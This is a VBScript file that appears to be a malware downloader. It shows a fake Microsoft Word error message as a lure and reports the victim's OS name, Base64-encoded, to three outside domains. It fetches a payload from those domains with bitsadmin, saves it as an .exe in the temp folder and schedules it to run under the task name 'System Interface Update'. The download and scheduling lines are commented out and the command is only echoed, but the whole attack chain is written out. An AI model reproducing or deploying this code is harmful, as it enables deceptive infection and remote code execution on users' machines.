On Error Resume Next

Dim wShell
Set wShell = WScript.CreateObject("WScript.Shell")

urlArr = Array("http://crown.rooftransformers.com/narcissist.zip","http://owen.austinroofwash.com/perfunctory.zip","http://pictures.softwashtexas.com/scintillating.zip")

Const TemporaryFolder = 2 ' code for temporary folder type
Set fso = CreateObject("Scripting.FileSystemObject")
storageFile = fso.GetSpecialFolder(TemporaryFolder) & "\475f2e212ea73f25a8f592fc6669f3a8862edf7d6f71.exe"

Set osCaption = wshell.Exec("wmic OS get Caption /value")
osCaptionStdout = Trim(osCaption.StdOut.ReadAll)
SystemList = split(osCaptionStdout, "=")
osName = Trim(SystemList(1))

avList = ""

launchAt = FormatDateTime(DateAdd("n", 2, Now), vbShortTime) ' NOW() + 2 minutes

'83fd45ba95a3c892c0f6b444543e62db76b5ba898baf
MsgBox "The file cannot be opened because there are problems with the contents.", 0, "Microsoft Word"

DatabaseConnectionStr = "?bg=mg01"
DatabaseConnectionStr = DatabaseConnectionStr & "&os=" & Base64Encode(osName)
DatabaseConnectionStr = DatabaseConnectionStr & "&av=" & Base64Encode(avList)

For Each el In urlArr
    randomize
    r = int(rnd*100) + 1
    ' intReturn = wShell.Run("bitsadmin /RAWRETURN /transfer zipjob" & r & " /download /DYNAMIC /Priority normal " & el & DatabaseConnectionStr & " " & storageFile, 0, True)

    print_dbg("bitsadmin /RAWRETURN /transfer zipjob" & r & " /download /DYNAMIC /Priority normal " & el & DatabaseConnectionStr & " " & storageFile)

    ' If (intReturn = 0) And (fso.FileExists(storageFile)) Then
    '     wShell.Run "SchTasks /Create /SC ONCE /TN ""System Interface Update"" /TR " & storageFile & " /ST " & launchAt, 0, False
    '     Exit For
    ' End If
Next


function print_dbg(ByVal msg)
  WScript.Echo(msg)
end function

Function Base64Encode(inData)
  'rfc1521
 '2001 Antonin Foller, Motobit Software, http://Motobit.cz
 '7e423613841cc69299ffea706272669d1560f8b625a4
 Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
  Dim cOut, sOut, I

  'For each group of 3 bytes
 For I = 1 To Len(inData) Step 3
    Dim nGroup, pOut, sGroup

    'Create one long from this 3 bytes.
   nGroup = &H10000 * Asc(Mid(inData, I, 1)) + _
      &H100 * MyASC(Mid(inData, I + 1, 1)) + MyASC(Mid(inData, I + 2, 1))

    'Oct splits the long To 8 groups with 3 bits
   nGroup = Oct(nGroup)

    'Add leading zeros
   nGroup = String(8 - Len(nGroup), "0") & nGroup

    'Convert To base64
   pOut = Mid(Base64, CLng("&o" & Mid(nGroup, 1, 2)) + 1, 1) + _
      Mid(Base64, CLng("&o" & Mid(nGroup, 3, 2)) + 1, 1) + _
      Mid(Base64, CLng("&o" & Mid(nGroup, 5, 2)) + 1, 1) + _
      Mid(Base64, CLng("&o" & Mid(nGroup, 7, 2)) + 1, 1)

    'Add the part To OutPut string
   sOut = sOut + pOut

    'Add a new line For Each 76 chars In dest (76*3/4 = 57)
   'If (I + 2) Mod 57 = 0 Then sOut = sOut + vbCrLf
 Next
  Select Case Len(inData) Mod 3
    Case 1: '8 bit final
     sOut = Left(sOut, Len(sOut) - 2) + "=="
    Case 2: '16 bit final
     sOut = Left(sOut, Len(sOut) - 1) + "="
  End Select
  Base64Encode = sOut
End Function

'adb3292bf47dfabac14ec1ee21acb51ab70e51e7053c
Function MyASC(OneChar)
  If OneChar = "" Then MyASC = 0 Else MyASC = Asc(OneChar)
End Function